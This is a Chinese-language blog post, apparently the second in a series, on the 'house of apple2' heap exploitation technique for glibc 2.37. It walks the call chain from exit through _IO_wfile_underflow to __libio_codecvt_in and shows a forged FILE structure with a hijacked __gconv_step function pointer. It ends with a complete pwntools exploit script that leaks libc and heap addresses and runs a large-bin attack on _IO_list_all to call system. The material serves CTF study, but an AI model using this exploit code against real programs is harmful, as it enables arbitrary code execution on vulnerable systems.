此文我们将继续探究在高版本glibc(2.37)下使用house of apple2这次的利用
关于前文在下面的链接
探究高版本glibc(2.37)下对house of apple2的利用(1)
调用链:
- exit或者main函数返回
- _IO_flush_all_lockp
- _IO_wfile_underflow(能调用__libio_codecvt_in都行)
- __libio_codecvt_in
- DL_CALL_FCT
这次我们的利用不在_wide_data上面停留而是将重心放在相邻的成员_codecvt上面.如图
所谓_codecvt就是指向_IO_codecvt的指针下面是该结构体的定义。该结构体主要参与字符转换的工作。
struct _IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
_IO_codecvt包含了另外一个结构体_IO_iconv_t 这个结构体被定义为
typedef struct
{
struct __gconv_step *step;
struct __gconv_step_data step_data;
} _IO_iconv_t;
这里包含了两个结构体
struct __gconv_step
{
struct __gconv_loaded_object *__shlib_handle;// 指针保护置为0即可
const char *__modname;
/* For internal use by glibc. (Accesses to this member must occur
when the internal __gconv_lock mutex is acquired). */
int __counter;
char *__from_name;
char *__to_name;
__gconv_fct __fct;// 任意地址执行
__gconv_btowc_fct __btowc_fct;
__gconv_init_fct __init_fct;
__gconv_end_fct __end_fct;
/* Information about the number of bytes needed or produced in this
step. This helps optimizing the buffer sizes. */
int __min_needed_from;
int __max_needed_from;
int __min_needed_to;
int __max_needed_to;
/* Flag whether this is a stateful encoding or not. */
int __stateful;
void *__data; /* Pointer to step-local data. */
};
struct __gconv_step_data
{
unsigned char *__outbuf; /* Output buffer for this step. */
unsigned char *__outbufend; /* Address of first byte after the output
buffer. */
/* Is this the last module in the chain. */
int __flags;
/* Counter for number of invocations of the module function for this
descriptor. */
int __invocation_counter;
/* Flag whether this is an internal use of the module (in the mb*towc*
and wc*tomb* functions) or regular with iconv(3). */
int __internal_use;
__mbstate_t *__statep;
__mbstate_t __state; /* This element must not be used directly by
any module; always use STATEP! */
};
wint_t
_IO_wfile_underflow (FILE *fp)
{
struct _IO_codecvt *cd;
enum __codecvt_result status;
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)//pass
return WEOF;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))//pass
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)//pass
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr < fp->_IO_read_end)//进入
{
/* There is more in the external. Convert it. */
const char *read_stop = (const char *) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,//进入目标
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
如上伪造结构体
fake_io = p64(0x500) + p64(1) + p64(0) + p64(1)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_base + 0xc00)#_codecvt
fake_io += p64(heap_base + 0xb28)#_wide_data
fake_io = fake_io.ljust(0xc8,b'\x00') + p64(io_wfile_jumps + 8)#vtable call __GI__IO_wfile_underflow
fake_io = fake_io.ljust(0xf0,b'\x00') + p64(heap_base + 0xc08) + b'\x00' * 0x28 + p64(sys_addr)
#struct __gconv_step *step call function
成功进入__libio_codecvt_in
成功执行任意函数
ps:由于rdi、指向的是指针保护的位置,而这个位置我们一开始就置为0了。所以建议使用magic跳转执行或者如果一定要控制rdi可以写一个函数用于解密
最后脚本如下:
from pwn import *
p=process('./pwn')
libc = ELF('/glibc/x64/2.37/lib/libc.so.6')
def add(size,data):
p.recvuntil(b'Enter choice:')
p.sendline(b'1')
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.sendline(data)
def free(idx):
p.recvuntil(b'Enter choice:')
p.sendline(b'2')
p.recvuntil(b'id:')
p.sendline(str(idx).encode())
def edit(idx,data):
p.recvuntil(b'Enter choice:')
p.sendline(b'3')
p.recvuntil(b'id:')
p.sendline(str(idx).encode())
p.recvuntil(b'input:')
p.sendline(data)
def show(idx):
p.recvuntil(b'Enter choice:')
p.sendline(b'4')
p.recvuntil(b'id:')
p.sendline(str(idx).encode())
def gd():
gdb.attach(p)
pause()
libc_base = int(p.recv(14),16) - libc.sym['puts']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']
print(hex(libc_base))
add(0x420,b'a')
add(0x438,b'a')
add(0x418,b'a')
free(1)
add(0x440,b'a')
edit(1,b'a' * 0x10)
show(1)
p.recvuntil(b'a' * 0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x20a
io_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(heap_base))
free(3)
fake_io = p64(0x500) + p64(1) + p64(0) + p64(1)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_base + 0xc00)#_codecvt
fake_io += p64(heap_base + 0xb28)#_wide_data
fake_io = fake_io.ljust(0xc8,b'\x00') + p64(io_wfile_jumps + 8)#vtable
fake_io = fake_io.ljust(0xf0,b'\x00') + p64(heap_base + 0xc08) + b'\x00' * 0x28 + p64(sys_addr)
#struct __gconv_step *step call function
add(0x418,b'a')
free(5)
edit(1,p64(libc_base + 0x1d20d0) * 2 + p64(heap_base + 0x290) + p64(io_list_all_addr - 0x20))
add(0x440,b'a')
edit(3,fake_io)
add(0x430,b'a')
add(0x430,b'a')
add(0x430,b'a')
free(6)
add(0x450,p64(1) + p64(0))
free(8)
gd()
#add(0x470,b'a')
p.interactive()